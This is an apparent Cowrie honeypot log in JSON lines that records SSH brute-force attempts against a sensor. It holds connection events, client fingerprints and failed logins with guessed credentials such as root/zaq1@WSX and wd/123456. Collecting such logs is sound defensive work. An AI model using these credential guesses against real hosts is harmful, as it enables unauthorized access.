{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:43.288695Z","src_ip":"196.188.93.169","session":"3f6e725334d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harbor","password":"harbor","message":"login attempt [harbor/harbor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:43.991466Z","src_ip":"196.188.93.169","session":"3f6e725334d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:45.160856Z","src_ip":"196.188.93.169","session":"3f6e725334d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3fdfc8d3c1c","protocol":"ssh","message":"New connection: 152.32.214.226:38100 (159.203.135.109:22) [session: a3fdfc8d3c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:49.826636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:49.839833Z","src_ip":"152.32.214.226","session":"a3fdfc8d3c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":52909,"dst_ip":"10.17.0.5","dst_port":22,"session":"9feca2797c75","protocol":"ssh","message":"New connection: 36.92.41.115:52909 (10.17.0.5:22) [session: 9feca2797c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:49.918151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:49.922390Z","src_ip":"36.92.41.115","session":"9feca2797c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:50.059644Z","src_ip":"152.32.214.226","session":"a3fdfc8d3c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:50.180074Z","src_ip":"36.92.41.115","session":"9feca2797c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1@WSX","message":"login attempt [root/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:50.963442Z","src_ip":"152.32.214.226","session":"a3fdfc8d3c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wd","password":"123456","message":"login attempt [wd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:51.242375Z","src_ip":"36.92.41.115","session":"9feca2797c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:52.185230Z","src_ip":"152.32.214.226","session":"a3fdfc8d3c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:52.502846Z","src_ip":"36.92.41.115","session":"9feca2797c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":41656,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b39fae21ada","protocol":"ssh","message":"New connection: 177.85.247.230:41656 (10.17.0.5:22) [session: 2b39fae21ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:10.123385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:10.129340Z","src_ip":"177.85.247.230","session":"2b39fae21ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:10.232436Z","src_ip":"177.85.247.230","session":"2b39fae21ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz2wsx3edc","message":"login attempt [root/!Qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:10.678623Z","src_ip":"177.85.247.230","session":"2b39fae21ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:11.790726Z","src_ip":"177.85.247.230","session":"2b39fae21ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":40956,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ea5ad38172f","protocol":"ssh","message":"New connection: 181.188.176.242:40956 (10.17.0.5:22) [session: 2ea5ad38172f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:16.165809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:16.170195Z","src_ip":"181.188.176.242","session":"2ea5ad38172f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:16.333195Z","src_ip":"181.188.176.242","session":"2ea5ad38172f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"My123456","message":"login attempt [root/My123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:17.016737Z","src_ip":"181.188.176.242","session":"2ea5ad38172f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:18.184874Z","src_ip":"181.188.176.242","session":"2ea5ad38172f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.764897108078,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:21.820940Z","src_ip":"128.199.8.54","session":"ecc854fb6bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":33536,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab318f3ef3b","protocol":"ssh","message":"New connection: 87.106.47.28:33536 (10.17.0.5:22) [session: 8ab318f3ef3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:57.700811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:57.706424Z","src_ip":"87.106.47.28","session":"8ab318f3ef3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:57.802368Z","src_ip":"87.106.47.28","session":"8ab318f3ef3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090opop","message":"login attempt [root/9090opop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:58.220469Z","src_ip":"87.106.47.28","session":"8ab318f3ef3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:31:59.320734Z","src_ip":"87.106.47.28","session":"8ab318f3ef3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52012,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2a4eb89654","protocol":"ssh","message":"New connection: 27.71.230.31:52012 (10.17.0.5:22) [session: 6a2a4eb89654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:33.186024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:33.232074Z","src_ip":"27.71.230.31","session":"6a2a4eb89654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:33.455522Z","src_ip":"27.71.230.31","session":"6a2a4eb89654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password_123456","message":"login attempt [root/Password_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:37.281814Z","src_ip":"27.71.230.31","session":"6a2a4eb89654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:38.836936Z","src_ip":"27.71.230.31","session":"6a2a4eb89654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":40376,"dst_ip":"159.203.135.109","dst_port":22,"session":"909e61a42933","protocol":"ssh","message":"New connection: 152.32.214.226:40376 (159.203.135.109:22) [session: 909e61a42933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:42.816822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:42.821467Z","src_ip":"152.32.214.226","session":"909e61a42933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:43.037124Z","src_ip":"152.32.214.226","session":"909e61a42933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pp123456!","message":"login attempt [root/Pp123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:43.935575Z","src_ip":"152.32.214.226","session":"909e61a42933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:45.154527Z","src_ip":"152.32.214.226","session":"909e61a42933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5840,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f7aeab0cb04","protocol":"ssh","message":"New connection: 196.188.93.169:5840 (10.17.0.5:22) [session: 9f7aeab0cb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:54.274650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:54.280378Z","src_ip":"196.188.93.169","session":"9f7aeab0cb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:54.447392Z","src_ip":"196.188.93.169","session":"9f7aeab0cb04","protocol":"ssh"}
